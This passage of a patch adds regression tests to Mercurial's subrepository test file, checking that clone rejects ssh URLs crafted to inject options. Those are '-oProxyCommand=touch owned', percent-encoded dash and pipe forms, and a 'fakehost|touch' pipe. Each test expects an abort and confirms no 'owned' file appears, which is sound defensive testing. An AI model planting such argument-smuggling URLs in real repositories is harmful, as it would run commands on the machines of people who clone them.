+ $ hg ci -m3 |
726 |
+ $ cd .. |
727 |
+ $ rm -r ssh-vuln-clone |
728 |
+ $ hg clone ssh-vuln ssh-vuln-clone |
729 |
+ updating to branch default |
730 |
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s) |
731 |
+ [255] |
732 |
--- mercurial-3.1.2.orig/tests/test-subrepo.t |
733 |
+++ mercurial-3.1.2/tests/test-subrepo.t |
734 |
@@ -1472,5 +1472,79 @@ Test that '[paths]' is configured correc |
735 |
$ cat t/.hg/hgrc |
736 |
[paths] |
737 |
default = $TESTTMP/t/t |
738 |
default-push = /foo/bar/t |
739 |
$ cd .. |
740 |
+ |
741 |
+test for ssh exploit 2017-07-25 |
742 |
+ |
743 |
+ $ cat >> $HGRCPATH << EOF |
744 |
+ > [ui] |
745 |
+ > ssh = sh -c "read l; read l; read l" |
746 |
+ > EOF |
747 |
+ |
748 |
+ $ hg init malicious-proxycommand |
749 |
+ $ cd malicious-proxycommand |
750 |
+ $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub |
751 |
+ $ hg init s |
752 |
+ $ cd s |
753 |
+ $ echo init > init |
754 |
+ $ hg add |
755 |
+ adding init |
756 |
+ $ hg commit -m init |
757 |
+ $ cd .. |
758 |
+ $ hg add .hgsub |
759 |
+ $ hg ci -m 'add subrepo' |
760 |
+ $ cd .. |
761 |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone |
762 |
+ updating to branch default |
763 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) |
764 |
+ [255] |
765 |
+ |
766 |
+also check that a percent encoded '-' (%2D) doesn't work |
767 |
+ |
768 |
+ $ cd malicious-proxycommand |
769 |
+ $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub |
770 |
+ $ hg ci -m 'change url to percent encoded' |
771 |
+ $ cd .. |
772 |
+ $ rm -r malicious-proxycommand-clone |
773 |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone |
774 |
+ updating to branch default |
775 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) |
776 |
+ [255] |
777 |
+ |
778 |
+also check for a pipe |
779 |
+ |
780 |
+ $ cd malicious-proxycommand |
781 |
+ $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub |
782 |
+ $ hg ci -m 'change url to pipe' |
783 |
+ $ cd .. |
784 |
+ $ rm -r malicious-proxycommand-clone |
785 |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone |
786 |
+ updating to branch default |
787 |
+ abort: no suitable response from remote hg! |
788 |
+ [255] |
789 |
+ $ [ ! -f owned ] || echo 'you got owned' |
790 |
+ |
791 |
+also check that a percent encoded '|' (%7C) doesn't work |
792 |
+ |
793 |
+ $ cd malicious-proxycommand |
794 |
+ $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub |
795 |
+ $ hg ci -m 'change url to percent encoded pipe' |
796 |
+ $ cd .. |
797 |
+ $ rm -r malicious-proxycommand-clone |
798 |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone |
799 |
+ updating to branch default |
800 |
+ abort: no suitable response from remote hg! |
801 |
+ [255] |
802 |
+ $ [ ! -f owned ] || echo 'you got owned' |
803 |
+ |
804 |
+and bad usernames: |
805 |
+ $ cd malicious-proxycommand |
806 |
+ $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub |
807 |
+ $ hg ci -m 'owned username' |
808 |
+ $ cd .. |
809 |
+ $ rm -r malicious-proxycommand-clone |
810 |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone |
811 |
+ updating to branch default |
812 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s) |
813 |
+ [255] |